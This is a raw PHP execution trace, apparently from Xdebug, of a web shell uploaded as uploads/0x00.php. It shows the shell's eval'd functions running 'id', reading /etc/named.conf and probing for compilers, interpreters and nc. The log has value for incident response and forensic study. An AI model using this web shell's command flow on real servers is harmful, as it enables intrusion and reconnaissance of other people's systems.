9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
9 287 1 0.077026 3798784
9 287 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8 286 1 0.077058 3798784
8 286 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8 291 0 0.077099 3798704 addslashes 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2318 1 '/etc/named.conf'
8 291 1 0.077119 3798736
8 291 R '/etc/named.conf'
8 292 0 0.077134 3798752 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2318 4 'cat "/etc/named.conf"' FALSE FALSE ???
9 293 0 0.077153 3798752 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'cat "/etc/named.conf"' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 294 0 0.077183 3798752 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 294 1 0.077198 3798792
10 294 R TRUE
10 295 0 0.077211 3798776 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'cat "/etc/named.conf"' ''
10 295 1 0.078330 3798896
10 295 R ''
10 296 0 0.078354 3798832 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 296 1 0.078372 3798896
10 296 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 293 1 0.078399 3798752
9 293 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 292 1 0.078433 3798752
8 292 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2318 $data = ''
7 284 1 0.078459 3798704
7 284 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 938 $d0mains = FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 939 GLOBALS['need_to_update_header'] = 'true'
7 297 0 0.078504 3798704 alfaSize 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 954 1 232015802368
8 298 0 0.078522 3798704 sprintf 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2219 2 '%1.2f' 216.08155441284
8 298 1 0.078540 3799088
8 298 R '216.08'
7 297 1 0.078554 3798744
7 297 R '216.08 GB'
7 299 0 0.078569 3798928 alfaSize 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 954 1 206461337600
8 300 0 0.078584 3798928 sprintf 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2219 2 '%1.2f' 192.28210449219
8 300 1 0.078610 3799312
8 300 R '192.28'
7 299 1 0.078624 3798968
7 299 R '192.28 GB'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 957 $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
7 301 0 0.078663 3798704 ini_get 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 958 1 'safe_mode'
7 301 1 0.078679 3798736
7 301 R FALSE
7 302 0 0.078693 3798704 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 959 4 'id' FALSE FALSE ???
8 303 0 0.078709 3798704 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'id' FALSE
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
9 304 0 0.078738 3798704 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
9 304 1 0.078753 3798744
9 304 R TRUE
9 305 0 0.078766 3798728 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'id' ''
9 305 1 0.080091 3799328
9 305 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
9 306 0 0.080117 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
9 306 1 0.080137 3799248
9 306 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8 303 1 0.080170 3798784
8 303 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 302 1 0.080202 3798784
7 302 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 961 $userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 962 $x = 0
7 307 0 0.080259 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'gcc'
8 308 0 0.080275 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which gcc' FALSE FALSE ???
9 309 0 0.080292 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which gcc' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 310 0 0.080320 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 310 1 0.080341 3798784
10 310 R TRUE
10 311 0 0.080355 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which gcc' ''
10 311 1 0.081603 3799288
10 311 R '/usr/bin/gcc'
10 312 0 0.081628 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/gcc']
10 312 1 0.081647 3799248
10 312 R '/usr/bin/gcc'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/gcc'
9 309 1 0.081678 3798784
9 309 R '/usr/bin/gcc'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/gcc'
8 308 1 0.081707 3798784
8 308 R '/usr/bin/gcc'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/gcc'
7 307 1 0.081734 3798704
7 307 R 12
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 $x++
7 313 0 0.081761 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'lcc'
8 314 0 0.081776 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which lcc' FALSE FALSE ???
9 315 0 0.081793 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which lcc' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 316 0 0.081822 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 316 1 0.081838 3798784
10 316 R TRUE
10 317 0 0.081851 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which lcc' ''
10 317 1 0.083028 3798888
10 317 R ''
10 318 0 0.083051 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 318 1 0.083069 3798888
10 318 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 315 1 0.083096 3798744
9 315 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 314 1 0.083123 3798744
8 314 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 313 1 0.083149 3798704
7 313 R FALSE
7 319 0 0.083162 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'cc'
8 320 0 0.083178 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which cc' FALSE FALSE ???
9 321 0 0.083195 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which cc' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 322 0 0.083224 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 322 1 0.083240 3798784
10 322 R TRUE
10 323 0 0.083253 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which cc' ''
10 323 1 0.084440 3799288
10 323 R '/usr/bin/cc'
10 324 0 0.084465 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/cc']
10 324 1 0.084484 3799248
10 324 R '/usr/bin/cc'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/cc'
9 321 1 0.084515 3798784
9 321 R '/usr/bin/cc'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/cc'
8 320 1 0.084544 3798784
8 320 R '/usr/bin/cc'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/cc'
7 319 1 0.084577 3798704
7 319 R 11
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 $x++
7 325 0 0.084605 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'ld'
8 326 0 0.084621 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which ld' FALSE FALSE ???
9 327 0 0.084638 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which ld' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 328 0 0.084666 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 328 1 0.084681 3798784
10 328 R TRUE
10 329 0 0.084695 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which ld' ''
10 329 1 0.085913 3799288
10 329 R '/usr/bin/ld'
10 330 0 0.085939 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/ld']
10 330 1 0.085958 3799248
10 330 R '/usr/bin/ld'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/ld'
9 327 1 0.085988 3798784
9 327 R '/usr/bin/ld'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/ld'
8 326 1 0.086017 3798784
8 326 R '/usr/bin/ld'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/ld'
7 325 1 0.086044 3798704
7 325 R 11
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 $x++
7 331 0 0.086071 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'make'
8 332 0 0.086087 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which make' FALSE FALSE ???
9 333 0 0.086104 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which make' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 334 0 0.086132 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 334 1 0.086148 3798784
10 334 R TRUE
10 335 0 0.086161 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which make' ''
10 335 1 0.087357 3799288
10 335 R '/usr/bin/make'
10 336 0 0.087382 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/make']
10 336 1 0.087401 3799248
10 336 R '/usr/bin/make'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/make'
9 333 1 0.087432 3798784
9 333 R '/usr/bin/make'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/make'
8 332 1 0.087461 3798784
8 332 R '/usr/bin/make'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/make'
7 331 1 0.087490 3798704
7 331 R 13
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 $x++
7 337 0 0.087516 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'php'
8 338 0 0.087532 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which php' FALSE FALSE ???
9 339 0 0.087549 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which php' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 340 0 0.087584 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 340 1 0.087600 3798784
10 340 R TRUE
10 341 0 0.087613 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which php' ''
10 341 1 0.088810 3799288
10 341 R '/usr/bin/php'
10 342 0 0.088835 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/php']
10 342 1 0.088854 3799248
10 342 R '/usr/bin/php'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/php'
9 339 1 0.088885 3798784
9 339 R '/usr/bin/php'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/php'
8 338 1 0.088915 3798784
8 338 R '/usr/bin/php'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/php'
7 337 1 0.088943 3798704
7 337 R 12
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 $x++
7 343 0 0.088972 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'perl'
8 344 0 0.088988 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which perl' FALSE FALSE ???
9 345 0 0.089024 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which perl' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 346 0 0.089053 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 346 1 0.089069 3798784
10 346 R TRUE
10 347 0 0.089093 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which perl' ''
10 347 1 0.090329 3799288
10 347 R '/usr/bin/perl'
10 348 0 0.090354 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/perl']
10 348 1 0.090373 3799248
10 348 R '/usr/bin/perl'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/perl'
9 345 1 0.090403 3798784
9 345 R '/usr/bin/perl'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/perl'
8 344 1 0.090432 3798784
8 344 R '/usr/bin/perl'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/perl'
7 343 1 0.090460 3798704
7 343 R 13
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 $x++
7 349 0 0.090486 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'python'
8 350 0 0.090502 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which python' FALSE FALSE ???
9 351 0 0.090520 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which python' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 352 0 0.090549 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 352 1 0.090564 3798784
10 352 R TRUE
10 353 0 0.090577 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which python' ''
10 353 1 0.091735 3798888
10 353 R ''
10 354 0 0.091758 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 354 1 0.091782 3798888
10 354 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 351 1 0.091811 3798744
9 351 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 350 1 0.091837 3798744
8 350 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 349 1 0.091863 3798704
7 349 R FALSE
7 355 0 0.091876 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'ruby'
8 356 0 0.091892 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which ruby' FALSE FALSE ???
9 357 0 0.091910 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which ruby' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 358 0 0.091939 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 358 1 0.091954 3798784
10 358 R TRUE
10 359 0 0.091967 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which ruby' ''
10 359 1 0.093161 3798888
10 359 R ''
10 360 0 0.093185 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 360 1 0.093203 3798888
10 360 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 357 1 0.093231 3798744
9 357 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 356 1 0.093258 3798744
8 356 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 355 1 0.093284 3798704
7 355 R FALSE
7 361 0 0.093297 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'tar'
8 362 0 0.093313 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which tar' FALSE FALSE ???
9 363 0 0.093330 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which tar' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 364 0 0.093359 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 364 1 0.093374 3798784
10 364 R TRUE
10 365 0 0.093388 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which tar' ''
10 365 1 0.094575 3799288
10 365 R '/usr/bin/tar'
10 366 0 0.094605 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/tar']
10 366 1 0.094624 3799248
10 366 R '/usr/bin/tar'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/tar'
9 363 1 0.094654 3798784
9 363 R '/usr/bin/tar'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/tar'
8 362 1 0.094683 3798784
8 362 R '/usr/bin/tar'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/tar'
7 361 1 0.094712 3798704
7 361 R 12
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 $x++
7 367 0 0.094738 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'gzip'
8 368 0 0.094755 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which gzip' FALSE FALSE ???
9 369 0 0.094776 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which gzip' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 370 0 0.094806 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 370 1 0.094822 3798784
10 370 R TRUE
10 371 0 0.094835 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which gzip' ''
10 371 1 0.096022 3799288
10 371 R '/usr/bin/gzip'
10 372 0 0.096047 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => '/usr/bin/gzip']
10 372 1 0.096066 3799248
10 372 R '/usr/bin/gzip'
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = '/usr/bin/gzip'
9 369 1 0.096097 3798784
9 369 R '/usr/bin/gzip'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = '/usr/bin/gzip'
8 368 1 0.096127 3798784
8 368 R '/usr/bin/gzip'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = '/usr/bin/gzip'
7 367 1 0.096155 3798704
7 367 R 13
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 $x++
7 373 0 0.096182 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'bzip'
8 374 0 0.096198 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which bzip' FALSE FALSE ???
9 375 0 0.096215 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which bzip' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 376 0 0.096244 3798744 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 376 1 0.096260 3798784
10 376 R TRUE
10 377 0 0.096273 3798768 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'which bzip' ''
10 377 1 0.097474 3798888
10 377 R ''
10 378 0 0.097498 3798824 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' []
10 378 1 0.097516 3798888
10 378 R ''
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = ''
9 375 1 0.097545 3798744
9 375 R ''
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = ''
8 374 1 0.097571 3798744
8 374 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 $path = ''
7 373 1 0.097597 3798704
7 373 R FALSE
7 379 0 0.097611 3798704 alfaWhich 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 963 1 'bzialfa2'
8 380 0 0.097627 3798744 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2212 4 'which bzialfa2' FALSE FALSE ???
9 381 0 0.097645 3798744 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'which bzialfa2' FALSE
